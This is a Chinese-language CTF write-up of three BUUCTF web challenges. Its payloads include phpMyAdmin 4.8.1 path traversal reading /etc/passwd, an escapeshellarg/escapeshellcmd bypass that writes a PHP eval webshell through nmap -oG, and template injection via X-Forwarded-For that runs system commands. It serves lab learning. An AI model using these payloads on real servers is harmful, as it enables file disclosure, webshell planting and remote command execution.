[GWCTF 2019]我有一个数据库
这题一看就不简单,进去一顿乱码看的我脑瓜子嗡嗡的,源码F12里面都没有提示
/robots.txt里面提示了phpinfo.php那就进去看了看,但是没有找到什么有用的,想起来这个名字是我有一个数据库,php+数据库 ---> phpmyadmin,去看看?真的可以,而且密码都没有,找了找啥也没找到,有点郁闷,搜了一下5.5.62版本的mysql的漏洞,啥也没有,于是秉着有phpmyadmin的原则去搜了一下phpmyadmin4.8.1的漏洞
我发现了phpmyadmin4.8.0-4.8.1存在漏洞
构造payload:
?target=db_datadict.php%253f/../../../../../../../../etc/passwd
拿flag--payload:
?target=db_datadict.php%253f/../../../../../../../../flag
总结:
要注意各个组件版本信息,搜索它本身就有的漏洞,这道题也让我想到了log4j,但是我没找到可以插入的地方就放弃了
[BUUCTF 2018]Online Tool
上来就是php代码,要审啦要审啦
GET传一个host参数,最后交给system执行nmap语句
中间运用了escapeshellarg和escapeshellcmd来进行过滤
escapeshellarg 1,确保用户值传递一个参数给命令 2,用户不能指定更多的参数 3,用户不能执行不同的命令``/escapeshellcmd 1,确保用户只执行一个命令 2,用户可以指定不限数量的参数 3,用户不能执行不同的命令所以我们的思路就是构造payload使得它可以再完成部分的检测后最后执行最后一句的nmap命令,但是nmap有什么用呢?这时候我们就需要知道nmap的一个参数-oG可以实现将命令和结果写到文件,所以我们的思路就变成了利用-oG参数往网站里写一行一句话木马。
引用一下大佬的话:
1.传入的参数是:127.0.0.1' -v -d a=1
2.经过escapeshellarg处理后变成了'127.0.0.1''' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3.经过escapeshellcmd处理后变成'127.0.0.1'\'' -v -d a=1',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
4.最后执行的命令是curl '127.0.0.1'\'' -v -d a=1',由于中间的\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 127.0.0.1\ -v -d a=1',即向127.0.0.1\发起请求,POST 数据为a=1'。
常见的rce思路用| & &&都不行,虽然我们通过这些操作逃过了单引号,但是escapeshellcmd会对特殊符号加上\来转义,但是我们之前说了,要用nmap的-oG参数,所以就直接写入一句话木马
payload:
?host=' <?php @eval($_POST["cmd"]);?> -oG shell.php '
总结:
rce里面也经常可以用到写马getshell,无回显的题也可以
学到了新的的函数!!!
[BJDCTF2020]The mystery of ip
这个题进来后就可以看到hint和flag,我以为就这样结束的时候我才发现我是这么的天真,他只是给了个ip
hint的源代码里有一行注释是你知道我为什么知道你的IP吗?,那我就抓你包看一看!
抓包没抓到什么有用的东西,但是我想到了X-Forwarded-For:可以修改来源,那我们就试一试。果然可以!
然后我就试着写个一句话进去看一看
写是写了,也可以显示,但是就是没有存入flag.php,恼火啊 !
那就试试rce,能不能执行系统命令!
可以!,那我们拿flag就逃吧!
payload:
{system("cat /f*")}
总结:
复习了一下X-Forwarded-For:
X-Forwarded-For 是一个扩展头。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP,现在已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中.
X-Real-IP 是一个自定义头。X-Real-Ip 通常被 HTTP 代理用来表示与它产生 TCP 连接的设备 IP,这个设备可能是其他代理,也可能是真正的请求端。需要注意的是,X-Real-Ip 目前并不属于任何标准,代理和 Web 应用之间可以约定用任何自定义头来传递这个信息
$remote_addr 是nginx与客户端进行TCP连接过程中,获得的客户端真实地址. Remote Address 无法伪造,因为建立 TCP 连接需要三次握手,如果伪造了源 IP,无法建立 TCP 连接,更不会有后面的 HTTP 请求
感谢buu提供优质题目,感谢勤劳的自己